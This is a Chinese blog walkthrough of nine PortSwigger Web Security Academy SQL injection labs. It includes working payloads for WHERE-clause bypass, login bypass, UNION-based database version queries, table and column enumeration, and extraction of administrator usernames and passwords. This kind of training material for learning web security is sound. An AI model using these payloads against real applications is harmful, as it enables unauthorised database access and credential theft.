当前位置: 首页 > news >正文

portswigger_SQL注入速通

文章目录

    • portswigger_SQL注入
      • portswigger_SQL注入第一关:WHERE条款中允许检索隐藏数据的SQL注入漏洞
      • portswigger_SQL注入第二关:允许登录绕过的SQL注入漏洞
      • portswigger_SQL注入第三关:SQL注入攻击,查询Oracle数据库类型和版本
      • portswigger_SQL注入第四关:SQL注入攻击,查询MySQL和Microsoft数据库类型和版本
      • portswigger_SQL注入第五关:SQL 注入攻击,列出非 Oracle 数据库的内容
      • portswigger_SQL注入第六关:SQL 注入攻击,列出 Oracle 数据库内容
      • portswigger_SQL注入第七关:SQL注入UNION攻击,确定查询返回的列数
      • portswigger_SQL注入第八关:SQL注入UNION攻击,发现包含文本的列
      • portswigger_SQL注入第九关:SQL注入UNION攻击,从其他表获取数据

portswigger_SQL注入


sql注入分类:
1.按提交方式:GET型、POST型、Cookie型
2.按注入点分类:数字型、字符型、搜索型
3.按页面返回反馈分类:布尔型、时间型、报错型、堆叠型
4.其他类:文件读写、二次注入



portswigger_SQL注入第一关:WHERE条款中允许检索隐藏数据的SQL注入漏洞


注入类别:GET型+字符型+报错型
注入方法:联合查询注入



进入实验室,然后进行点击抓包



抓到的数据包数据如下,其中有参数“category”,对其进行传参1sss’




页面报错,状态码为500



直接在参数category后面接参数如下

'+OR+1=1--


价格顺序已变,存在注入




portswigger_SQL注入第二关:允许登录绕过的SQL注入漏洞


注入类别:POST型+字符型+报错型



在username传入一下参数

administrator‘


现在在username传入以下参数,看到状态码为302重定向

administrator’--


portswigger_SQL注入第三关:SQL注入攻击,查询Oracle数据库类型和版本


注入类别:GET型+字符型+报错型
注入方法:联合查询注入



点击,进行抓包,发现可控参数是“category”



对其category进行传参1sss’



页面报错,发现状态码为500



直接在参数category后面接如下参数

'+UNION+SELECT+BANNER,+NULL+FROM+v$version--



portswigger_SQL注入第四关:SQL注入攻击,查询MySQL和Microsoft数据库类型和版本


注入类别:GET型+字符型+报错型



**
点击这抓包,可控参数是“category"



对参数进行传参1sss’



页面报错,状态码为500



对category传入如下参数

'+UNION+SELECT+@@version,+NULL#



portswigger_SQL注入第五关:SQL 注入攻击,列出非 Oracle 数据库的内容


注入类别:GET型+字符型+报错型



点击抓包,发现可控参数“category”



对参数进行传参1sss’



观察两者的状态码



页面报错



对可控参数传以下参数,获取数据库中的表

'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--


找到带有用户名的表,并传入如下参数

'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_ifbsar'--


找到用户名和密码的列名,并传入参数如下

'+UNION+SELECT+username_foyxpm,+password_zytcda+FROM+users_ifbsar--


获取到管理员的账号和密码,然后登录




portswigger_SQL注入第六关:SQL 注入攻击,列出 Oracle 数据库内容


注入类别:GET型+字符型+布尔型



点击页面找到可控参数,可控参数是“category”



传入参数1sss’,发现页面返回错误



进行传参,发现由两列数据可控,参数如下


'+UNION+SELECT+'hello','hello'+FROM+dual--


传入查询表的参数并找到带有用户名的表,参数如下


'+UNION+SELECT+table_name,NULL+FROM+all_tables--


查看这个用户名表的信息并找到用户名和密码的列名,参数如下


'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_QWLNOP'--


查看列中的数据并找到管理员用户和密码,参数如下


'+UNION+SELECT+USERNAME_ONRXML,+PASSWORD_NCHVJZ+FROM+USERS_QWLNOP--


登录管理员账户



portswigger_SQL注入第七关:SQL注入UNION攻击,确定查询返回的列数


注入类别:GET型+布尔型+堆叠型+时间盲注型



点击页面,找到可控参数“category”



传入参数1sss’,发现页面报错



添加空值参数,直至页面不报错,参数如下


'+UNION+SELECT+NULL,NULL--


接着添加空值直至页面不报错,发现返回的列数为三列,参数如下

'+UNION+SELECT+NULL,NULL,NULL--


portswigger_SQL注入第八关:SQL注入UNION攻击,发现包含文本的列


注入类别:GET型+布尔型+堆叠型+时间盲注



点击页面查看可控参数,可控参数为“category”



传入空值参数查看返回值,发现返回三列以及随机值


'+UNION+SELECT+NULL,NULL,NULL--


用随机值逐次替换空值


'+UNION+SELECT+NULL,'lDeGcV',NULL--


portswigger_SQL注入第九关:SQL注入UNION攻击,从其他表获取数据

http://www.jsqmd.com/news/522848/

相关文章:

  • 2026年便捷客服系统使用分享,好用实用的AI智能客服机器人介绍 - 品牌2026
  • Adafruit FT5336触摸驱动深度解析:嵌入式电容屏开发指南
  • v8go实战教程:如何在Go中创建JavaScript函数回调
  • SiameseAOE模型在Keil5开发STM32项目中的应用:注释文档智能分析
  • 高效集成支付功能:PayJS Golang SDK的开发者友好实践与安全合规指南
  • 优优推联系方式查询:关于其数字营销服务的客观梳理与使用注意事项探讨 - 品牌推荐
  • 生物信息学实战:如何用ClusterGVis一键搞定RNA-seq时间序列聚类与可视化
  • egoShieldTeach:面向教育与原型开发的步进电机嵌入式控制库
  • AutoGen Studio物联网方案:MQTT协议设备监控系统
  • Gemma-3-12b-it多模态Prompt模板库:20个高频场景图文提问标准化写法
  • 微信正式接入 OpenClaw,Cursor 被锤套壳 Kimi… 本周最炸 AI 热点汇总
  • CAN FD波特率配置失效全复盘(FD帧丢包率骤升300%的真相)
  • 基于若依框架与MobileIMSDK构建高可用IM推送系统的实践指南
  • macOS滚动体验重构:Mos深度解析与完整实践指南
  • 都说网络安全缺口那么大,但为何招聘数量却不多?总算明白了!
  • 病理AI炼丹必备:用wsi-normalizer搞定WSI染色归一化,Macenko/Vahadane/Reinhard三选一(附GPU加速实测)
  • actionlint 终极指南:如何避免 GitHub Actions 工作流中的 10 个常见错误
  • 手机党必备:除了‘一刀工具箱’,还有哪些免费APP能无损调整视频倍速?(2024实测)
  • Proxy-Pool代理池实战:用Python测试脚本验证IP可用性(含完整代码)
  • Spring Boot 整合AI大模型实战:手把手带你接入DeepSeek API
  • 造相 Z-Image 高效部署教程:基于insbase-cuda124-pt250-dual-v7底座
  • ofa_image-caption实战教程:添加用户反馈机制优化后续模型迭代方向
  • OpenTabletDriver在艺术创作中的应用:数字绘画最佳实践
  • BGE-M3开源模型入门指南:双编码器原理、embedding生成与向量相似度计算
  • 2026年国产智能客服系统,支持开源部署与多语言在线服务 - 品牌2026
  • 手里有2326开头沃尔玛卡别乱扔!亲测3种正规回收方式 - 猎卡回收公众号
  • 基于FnOS的虚拟云桌面实战:前端开发环境搭建与Docker优化技巧
  • 嵌入式Linux能否在无MMU处理器上运行?
  • OpenClaw终端增强:GLM-4.7-Flash解释错误命令与推荐修正
  • Prompt-to-Prompt代码架构解析:深入理解AttentionControl类设计